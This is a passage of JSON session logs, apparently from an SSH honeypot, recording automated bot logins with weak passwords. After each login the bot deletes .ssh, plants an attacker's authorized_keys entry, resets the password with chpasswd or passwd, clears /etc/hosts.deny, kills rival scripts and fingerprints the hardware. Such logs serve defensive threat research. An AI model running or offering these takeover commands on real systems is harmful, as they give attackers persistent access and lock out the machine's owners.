-l"},{"seq":14,"at":"2026-08-27T11:45:17.955252+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:18.249461+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:18.518862+00:00","kind":"output","latency_ms":null,"data":" 11:45:18 up 7 days, 8:35, 0 user, load average: 0.11, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:18.812992+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:19.177930+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:19.473766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:20.300414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:20.593890+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:21.366877+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:21 up 7 days, 8:35, 0 user, load average: 0.11, 0.08, 0.08\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:45:21.662265+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:22.532542+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:22.830430+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:23.360763+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:23.654956+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:24.020002+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:45:24.314902+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:25.531899+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:25.826044+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:27.802804+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"35d65587-5e48-476d-b292-410e632ac2a8","name":"brisk-vernal-bison","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":52084,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:58.000327+00:00","ended_at":"2026-08-27T11:43:59.549429+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2118,"events":[{"seq":1,"at":"2026-08-27T11:43:40.343894+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:40.676771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:44.380474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:44.671334+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:44.998441+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123qweasdzxc\\n9vAGihOgqCnM\\n9vAGihOgqCnM\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:43:45.331646+00:00","kind":"input","latency_ms":null,"data":"echo \"123qweasdzxc\\n9vAGihOgqCnM\\n9vAGihOgqCnM\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:43:45.659741+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:46.253356+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:46.581239+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:47.716284+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:48.046954+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:48.963151+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:49.293776+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:49.884360+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:50.213579+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:50.883459+00:00","kind":"output","latency_ms":null,"data":" 11:43:50 up 7 days, 8:33, 0 user, load average: 0.35, 0.45, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:51.212754+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:51.982517+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:52.313654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:52.631187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:52.960019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:53.459938+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:53 up 7 days, 8:34, 0 user, load average: 0.35, 0.45, 0.3\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:53.788721+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:54.174597+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:54.501866+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:55.332515+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:55.660480+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:56.135284+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T11:43:56.462744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:57.670809+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:58.001276+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:59.452122+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"123qweasdzxc","method":"password","accepted":true,"tier":"other"}]} {"id":"f0c3c9f2-c326-4b0e-aa47-ce9964411f8b","name":"tangled-gloomy-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51330,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:36.779184+00:00","ended_at":"2026-08-27T11:43:37.774544+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:43:13.291810+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:13.552826+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:17.389991+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:17.841858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:18.105788+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bBKuUewXLdOm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:43:18.365465+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:43:18.626541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:19.085377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:19.345933+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:20.450517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:20.711397+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:21.917671+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:22.179684+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:22.449559+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:22.711489+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:23.097065+00:00","kind":"output","latency_ms":null,"data":" 11:43:23 up 7 days, 8:33, 0 user, load average: 0.14, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:23.361691+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:25.540755+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:25.801959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:27.802588+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:28.048789+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:28.538317+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:28 up 7 days, 8:33, 0 user, load average: 0.14, 0.12, 0.15\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:28.799228+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:29.855951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:30.109708+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:32.216047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:32.479122+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:34.143887+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:43:34.405177+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:36.514764+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:36.779707+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:37.698883+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz@WSX#EDC","method":"password","accepted":true,"tier":"other"}]} {"id":"6d31d880-393f-40cb-bce0-572b4babfd4d","name":"jovial-distant-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39682,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:19.708244+00:00","ended_at":"2026-08-27T11:43:21.106677+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:43:02.615562+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:02.906827+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:06.444757+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:06.995595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:07.286171+00:00","kind":"input","latency_ms":null,"data":"echo \"root:myo4JlUNERBF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:43:07.576177+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:43:07.865709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:08.145575+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:08.436023+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:09.747010+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:10.040662+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:11.247906+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:11.551237+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:12.250276+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:12.541620+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:12.881407+00:00","kind":"output","latency_ms":null,"data":" 11:43:12 up 7 days, 8:33, 0 user, load average: 0.32, 0.33, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:13.171635+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:13.690444+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:13.981477+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:14.706237+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:14.996552+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:15.513162+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:15 up 7 days, 8:33, 0 user, load average: 0.32, 0.33, 0.32\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:15.804777+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:16.452128+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:16.743130+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:17.165476+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:17.454875+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:17.844437+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:43:18.135093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:19.417162+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:19.708940+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:21.023167+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"1427ae0c-299a-441f-be36-4cd1f2b5d923","name":"hazel-sandy-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59190,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":456,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:42:48.712893+00:00","ended_at":"2026-08-27T11:42:49.880090+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2291,"events":[{"seq":1,"at":"2026-08-27T11:42:27.635631+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:42:28.089342+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:42:31.827159+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:42:32.519613+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:42:32.971708+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lfOsLeNVHsml\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:42:33.425177+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:42:33.877720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:42:34.605953+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:42:35.066789+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:42:36.161197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:42:36.619271+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:42:38.011551+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:42:38.471060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:42:39.127229+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:42:39.593783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:42:40.438676+00:00","kind":"output","latency_ms":null,"data":" 11:42:40 up 7 days, 8:32, 0 user, load average: 0.3, 0.21, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:42:40.892319+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:42:41.581373+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:42:42.035849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:42:42.915095+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:42:43.370226+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:42:44.165007+00:00","kind":"output","latency_ms":null,"data":"top - 11:42:44 up 7 days, 8:32, 0 user, load average: 0.3, 0.21, 0.27\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:42:44.621184+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:42:44.880133+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:42:45.335504+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:42:45.843566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 